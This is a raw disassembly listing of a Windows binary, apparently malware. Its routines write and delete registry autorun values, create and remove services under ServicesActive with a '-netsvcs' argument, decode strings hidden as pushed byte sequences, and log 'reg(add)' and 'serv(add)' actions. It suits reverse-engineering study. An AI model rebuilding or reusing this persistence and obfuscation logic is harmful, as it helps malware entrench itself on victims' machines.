sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx call near ptr 2930000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx call near ptr 2930000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx call near ptr 2930000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000002h call ebp mov ecx, esi call sub_40168B mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_40168B push eax push 1 push 0 mov ecx, ebx call sub_40168B mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2970000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2930000h lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_6C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 lea ecx, [esp+80h+var_54] mov [esp+80h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 8 sub_40E2F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E870 proc near ; CODE XREF: sub_401451j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40E870 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_6C] call sub_40142E lea ecx, [esp+80h+var_3C] mov [esp+80h+var_4], 0 call sub_40142E lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_40142E push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019C4 add esp, 0CCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 3 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019C4 add esp, 0DCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 4 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019C4 add esp, 0BCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 5 call sub_40202C lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE mov esi, dword_51175C push eax push 80000002h call esi mov edi, [esp+80h+arg_0] mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] mov ebp, dword_51176C push eax push ecx call ebp mov edx, [esp+80h+var_70] mov ebx, dword_511740 push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000002h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_3C] call sub_4017EE push eax push 80000001h call esi mov ecx, edi call sub_40168B mov ecx, [esp+80h+var_70] push eax push ecx call ebp mov edx, [esp+80h+var_70] push edx call ebx lea ecx, [esp+80h+var_54] mov byte ptr [esp+80h+var_4], 1 call sub_401226 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 0 call sub_401226 mov [esp+80h+var_4], 0FFFFFFFFh lea ecx, [esp+80h+var_6C] call sub_401226 mov ecx, [esp+80h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 70h retn 4 sub_40E870 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40ED00 proc near ; CODE XREF: sub_4014A1j var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40ED00 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 48h push ebx push esi mov esi, ecx lea ecx, [esp+5Ch+var_24] call sub_40142E push 104h push 104h lea ecx, [esp+64h+var_24] mov [esp+64h+var_4], 0 call sub_401C71 push eax call near ptr 2800000h nop lea ecx, [esp+5Ch+var_3C] call sub_40142E mov ecx, [esp+5Ch+arg_4] mov byte ptr [esp+5Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+60h+var_24] call sub_4017EE push eax lea eax, [esp+64h+var_3C] push offset dword_444684 push eax call sub_40102D add esp, 10h lea ecx, [esp+5Ch+var_54] call sub_40142E lea ecx, [esp+5Ch+var_54] push offset aNetsvcs ; "-netsvcs" push ecx mov byte ptr [esp+64h+var_4], 2 call sub_40102D mov ecx, [esp+64h+arg_0] add esp, 8 lea edx, [esp+5Ch+var_54] lea eax, [esp+5Ch+var_3C] push edx push eax push ecx mov ecx, esi call sub_402171 lea ecx, [esp+5Ch+var_54] mov bl, al mov byte ptr [esp+5Ch+var_4], 1 call sub_401226 lea ecx, [esp+5Ch+var_3C] mov byte ptr [esp+5Ch+var_4], 0 call sub_401226 lea ecx, [esp+5Ch+var_24] mov [esp+5Ch+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+5Ch+var_C] mov al, bl pop esi pop ebx mov large fs:0, ecx add esp, 54h retn 8 sub_40ED00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40EE40 proc near ; CODE XREF: sub_402171j var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_40EE40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push ebp push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" mov [esp+5Ch+var_44], ecx push 0 nop call near ptr 293089Dh mov edi, eax test edi, edi jnz short loc_40EE7F xor al, al jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EE7F: ; CODE XREF: sub_40EE40+36j lea ecx, [esp+54h+var_24] call sub_40142E mov ecx, [esp+54h+arg_8] mov [esp+54h+var_4], 0 call sub_4017EE mov ebx, [esp+54h+arg_4] push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+5Ch+var_24] push offset aSS_4 ; "\"%s\" %s" push eax call sub_40102D add esp, 10h lea ecx, [esp+54h+var_24] push 0 push 0 push 0 push 0 push 0 call sub_4017EE push eax push 1 push 2 push 20h push 0F01FFh mov ecx, offset dword_449844 call sub_4017EE mov ebp, [esp+7Ch+arg_0] push eax mov ecx, ebp call sub_4017EE push eax push edi call near ptr 2930B60h nop mov esi, eax xor ecx, ecx cmp esi, ecx jnz short loc_40EF65 call near ptr 27D089Eh nop cmp eax, 431h jnz short loc_40EF49 mov ecx, [esp+54h+var_44] push ebp call sub_401951 mov esi, dword_511754 push 0 call esi push edi call esi mov ecx, [esp+54h+var_44] push ebx push ebp call sub_4014A1 lea ecx, [esp+54h+var_24] mov bl, al mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 mov al, bl jmp loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF49: ; CODE XREF: sub_40EE40+CBj push edi nop call near ptr 2940000h lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EF65: ; CODE XREF: sub_40EE40+BEj lea edx, [esp+54h+var_38] mov [esp+54h+var_34], ecx mov dword ptr [esp+54h+var_30], ecx push edx mov eax, 1 or ebx, 0FFFFFFFFh lea ecx, [esp+58h+var_40] push 2 push esi mov [esp+60h+var_3C], eax mov [esp+60h+var_40], eax mov [esp+60h+var_38], ebx mov [esp+60h+var_2C], eax mov [esp+60h+var_28], ecx nop call near ptr 2940266h test eax, eax push esi mov esi, dword_511754 jnz short loc_40EFBC call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 xor al, al jmp short loc_40EFD0 ; --------------------------------------------------------------------------- loc_40EFBC: ; CODE XREF: sub_40EE40+164j call esi push edi call esi lea ecx, [esp+54h+var_24] mov [esp+54h+var_4], ebx call sub_401226 mov al, 1 loc_40EFD0: ; CODE XREF: sub_40EE40+3Aj ; sub_40EE40+104j ... mov ecx, [esp+54h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 44h retn 0Ch sub_40EE40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F060 proc near ; CODE XREF: sub_401951j var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 293089Dh mov edi, eax test edi, edi jnz short loc_40F087 pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F087: ; CODE XREF: sub_40F060+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push edi nop call near ptr 28D0000h mov esi, eax test esi, esi jnz short loc_40F0B4 push edi nop call near ptr 2940000h pop edi xor al, al pop esi add esp, 1Ch retn 4 ; --------------------------------------------------------------------------- loc_40F0B4: ; CODE XREF: sub_40F060+41j lea eax, [esp+24h+var_1C] push eax push 1 push esi nop call near ptr 2930512h push esi nop call near ptr 293074Dh push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi add esp, 1Ch retn 4 sub_40F060 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F100 proc near ; CODE XREF: sub_401FD2j arg_0 = dword ptr 4 push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 call near ptr 293089Dh nop mov esi, eax test esi, esi jnz short loc_40F11F xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F11F: ; CODE XREF: sub_40F100+17j mov ecx, [esp+4+arg_0] push 0F01FFh call sub_4017EE push eax push esi nop call near ptr 28D0000h test eax, eax jnz short loc_40F146 push esi call near ptr 2940000h nop xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F146: ; CODE XREF: sub_40F100+37j push edi mov edi, dword_511754 push eax call edi push esi call edi pop edi mov al, 1 pop esi retn 4 sub_40F100 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F180 proc near ; CODE XREF: sub_401FFAj arg_0 = dword ptr 4 push esi push edi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 293089Dh mov edi, eax test edi, edi jnz short loc_40F1A1 pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1A1: ; CODE XREF: sub_40F180+18j mov ecx, [esp+8+arg_0] push 0F01FFh call sub_4017EE push eax push edi call near ptr 28D0000h nop mov esi, eax test esi, esi jnz short loc_40F1CB push edi nop call near ptr 2940000h pop edi xor al, al pop esi retn 4 ; --------------------------------------------------------------------------- loc_40F1CB: ; CODE XREF: sub_40F180+3Bj push 0 push 0 push esi call near ptr 2920ADFh nop push esi mov esi, dword_511754 call esi push edi call esi pop edi mov al, 1 pop esi retn 4 sub_40F180 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40F210: ; CODE XREF: ___:loc_4014ABj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43A348 push eax mov large fs:0, esp sub esp, 60h push ebx push esi mov esi, [esp+78h] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+19h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F30A push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea ecx, [esp+14h] push 2 xor ebx, ebx push ecx mov ecx, esi mov [esp+84h], ebx call sub_4011EA lea edx, [esp+0Ch] lea eax, [esp+24h] push edx push eax mov ecx, edi mov byte ptr [esp+7Ch], 1 call sub_401730 test al, al jz short loc_40F2D6 lea ecx, [esp+0Ch] call sub_4017EE push eax lea ecx, [esp+28h] call sub_4017EE push eax push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 1Ch loc_40F2D6: ; CODE XREF: ___:0040F297j lea ecx, [esp+0Ch] mov [esp+74h], bl call sub_401226 lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F30A: ; CODE XREF: ___:0040F246j lea ecx, [edi+47h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F3A9 push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+24h] mov dword ptr [esp+74h], 2 push ecx mov ecx, edi call sub_401451 test al, al jz short loc_40F382 lea ecx, [esp+24h] call sub_4017EE push eax push offset aRegDelS_ ; "reg(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_40F382: ; CODE XREF: ___:0040F34Dj lea ecx, [esp+24h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F3A9: ; CODE XREF: ___:0040F31Cj lea ecx, [edi+75h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F4BF push 1 push offset asc_444600 ; " " lea ecx, [esp+44h] push 1 push ecx mov ecx, esi call sub_4011EA push 1 push offset asc_444600 ; " " lea edx, [esp+14h] push 2 push edx mov ecx, esi mov dword ptr [esp+84h], 3 call sub_4011EA push 1 push offset asc_444600 ; " " lea eax, [esp+2Ch] mov bl, 4 push 3 push eax mov ecx, esi mov [esp+84h], bl call sub_4011EA lea ecx, [esp+24h] lea edx, [esp+0Ch] push ecx lea eax, [esp+40h] push edx push eax mov ecx, edi mov byte ptr [esp+80h], 5 call sub_402171 test al, al jz short loc_40F47D lea ecx, [esp+24h] call sub_4017EE push eax lea ecx, [esp+10h] call sub_4017EE push eax lea ecx, [esp+44h] call sub_4017EE push eax push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"." lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 20h loc_40F47D: ; CODE XREF: ___:0040F434j lea ecx, [esp+24h] mov [esp+74h], bl call sub_401226 lea ecx, [esp+0Ch] mov byte ptr [esp+74h], 3 call sub_401226 lea ecx, [esp+3Ch] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F4BF: ; CODE XREF: ___:0040F3BBj lea ecx, [edi+0A3h] call sub_4014DD push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_40F561 push 1 push offset asc_444600 ; " " lea eax, [esp+5Ch] push 1 push eax mov ecx, esi call sub_4011EA lea ecx, [esp+54h] mov dword ptr [esp+74h], 6 push ecx mov ecx, edi call sub_401951 test al, al jz short loc_40F53A lea ecx, [esp+54h] call sub_4017EE push eax push offset aServDelS_ ; "serv(del) \"%s\"." lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h loc_40F53A: ; CODE XREF: ___:0040F505j lea ecx, [esp+54h] mov dword ptr [esp+74h], 0FFFFFFFFh call sub_401226 pop edi pop esi mov al, 1 pop ebx mov ecx, [esp+60h] mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- loc_40F561: ; CODE XREF: ___:0040F4D4j mov ecx, [esp+6Ch] pop edi pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 6Ch retn 4 ; --------------------------------------------------------------------------- db 9 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F660 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] push edi mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx nop call near ptr 77C2C407h mov edx, eax mov eax, [esp+0Ch+arg_0] mov edi, esi or ecx, 0FFFFFFFFh mov [eax], edx xor eax, eax add esp, 4 repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi retn sub_40F660 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40F6D0 proc near ; CODE XREF: sub_40169Fj var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40F6D0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi mov esi, ecx push edi mov [esp+3Ch+var_28], esi call sub_401E88 lea edi, [esi+11h] mov [esp+3Ch+var_4], 0 mov ecx, edi call sub_4011B3 lea ebp, [esi+28h] mov ecx, ebp call sub_40142E lea ecx, [esi+3Dh] mov byte ptr [esp+3Ch+var_4], 1 call sub_40142E lea ecx, [esi+56h] mov byte ptr [esp+3Ch+var_4], 2 call sub_401753 lea ecx, [esi+84h] mov byte ptr [esp+3Ch+var_4], 3 call sub_401753 lea ecx, [esi+0B2h] mov byte ptr [esp+3Ch+var_4], 4 call sub_401753 lea ecx, [esi+0E0h] mov byte ptr [esp+3Ch+var_4], 5 call sub_401753 lea ecx, [esi+10Eh] mov byte ptr [esp+3Ch+var_4], 6 call sub_401753 lea ecx, [esi+13Ch] mov byte ptr [esp+3Ch+var_4], 7 call sub_401753 lea ecx, [esi+16Ah] mov byte ptr [esp+3Ch+var_4], 8 call sub_401753 lea ecx, [esi+198h] mov byte ptr [esp+3Ch+var_4], 9 call sub_401753 lea ecx, [esi+1C6h] mov byte ptr [esp+3Ch+var_4], 0Ah call sub_401753 lea ecx, [esi+1F4h] mov byte ptr [esp+3Ch+var_4], 0Bh call sub_401753 lea ecx, [esi+222h] mov byte ptr [esp+3Ch+var_4], 0Ch call sub_401753 lea ecx, [esi+250h] mov byte ptr [esp+3Ch+var_4], 0Dh call sub_401753 lea ecx, [esi+27Eh] mov byte ptr [esp+3Ch+var_4], 0Eh call sub_401753 lea ecx, [esi+2ACh] mov byte ptr [esp+3Ch+var_4], 0Fh call sub_401753 lea eax, [esp+3Ch+var_29] lea ecx, [esi+2DAh] push eax mov byte ptr [esp+40h+var_4], 10h call sub_40172B mov dword ptr [edi], offset off_43F034 mov bl, 11h xor edi, edi push offset byte_448F40 mov ecx, ebp mov byte ptr [esp+40h+var_4], bl mov dword ptr [esi], offset off_43F028 mov byte ptr [esi+17h], 1 mov byte ptr [esi+15h], 0 mov byte ptr [esi+16h], 0 mov dword ptr [esi+18h], 0FFFFFFFFh mov [esi+1Ch], edi mov [esi+20h], edi call sub_4015E1 nop call near ptr 27F0BB2h push edi push 21h push 28h push 23h lea ecx, [esp+4Ch+var_24] push 2Ah push ecx mov [esi+24h], eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 12h call sub_4017EE push eax push offset dword_4490CC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Dh push 23h push 2Eh push 29h lea edx, [esp+54h+var_24] push 28h push edx call sub_4019C4 add esp, 20h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 13h call sub_4017EE push eax push offset dword_4490D0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 28h push 23h push 29h lea eax, [esp+4Ch+var_24] push 24h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 14h call sub_4017EE push eax push offset dword_4490D4 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 21h push 2Dh push 27h push 30h push 23h push 2Ch lea ecx, [esp+58h+var_24] push 2Ah push ecx call sub_4019C4 add esp, 24h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 15h call sub_4017EE push eax push offset dword_4490D8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Dh push 29h push 22h push 2Ch push 1Fh push 2Dh lea edx, [esp+5Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 28h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 16h call sub_4017EE push eax push offset dword_4490DC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 47h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 17h call sub_4017EE push eax push offset dword_4490E0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 46h push 44h lea ecx, [esp+48h+var_24] push 47h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 18h call sub_4017EE push eax push offset dword_4490E4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 21h push 28h push 29h lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 19h call sub_4017EE push eax push offset dword_4490E8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Dh push 2Dh push 1Bh lea eax, [esp+4Ch+var_24] push 2Ah push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ah call sub_4017EE push eax push offset dword_4490EC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 28h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Bh call sub_4017EE push eax push offset dword_4490F0 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Ch push 1Fh push 2Dh lea edx, [esp+4Ch+var_24] push 2Fh push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Ch call sub_4017EE push eax push offset dword_4490F4 call sub_401D16 add esp, 8 mov byte ptr [esp+3Ch+var_4], bl lea ecx, [esp+3Ch+var_24] call sub_401226 push edi push 47h push 49h lea eax, [esp+48h+var_24] push 47h push eax call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Dh call sub_4017EE push eax push offset dword_4490F8 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 25h push 1Dh push 23h lea ecx, [esp+4Ch+var_24] push 25h push ecx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Eh call sub_4017EE push eax push offset dword_4490FC call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 2Ch push 1Bh lea edx, [esp+4Ch+var_24] push 2Ah push edx call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 1Fh call sub_4017EE push eax push offset dword_449100 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 1Fh push 1Eh push 29h lea eax, [esp+4Ch+var_24] push 27h push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 20h call sub_4017EE push eax push offset dword_449104 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 45h push 44h lea ecx, [esp+48h+var_24] push 44h push ecx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 21h call sub_4017EE push eax push offset dword_449108 call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 49h push 44h lea edx, [esp+48h+var_24] push 44h push edx call sub_4019C4 add esp, 14h mov ecx, eax mov byte ptr [esp+3Ch+var_4], 22h call sub_4017EE push eax push offset dword_44910C call sub_401D16 add esp, 8 lea ecx, [esp+3Ch+var_24] mov byte ptr [esp+3Ch+var_4], bl call sub_401226 push edi push 2Eh push 23h push 2Fh lea eax, [esp+4Ch+var_24] push 2Bh push eax call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr 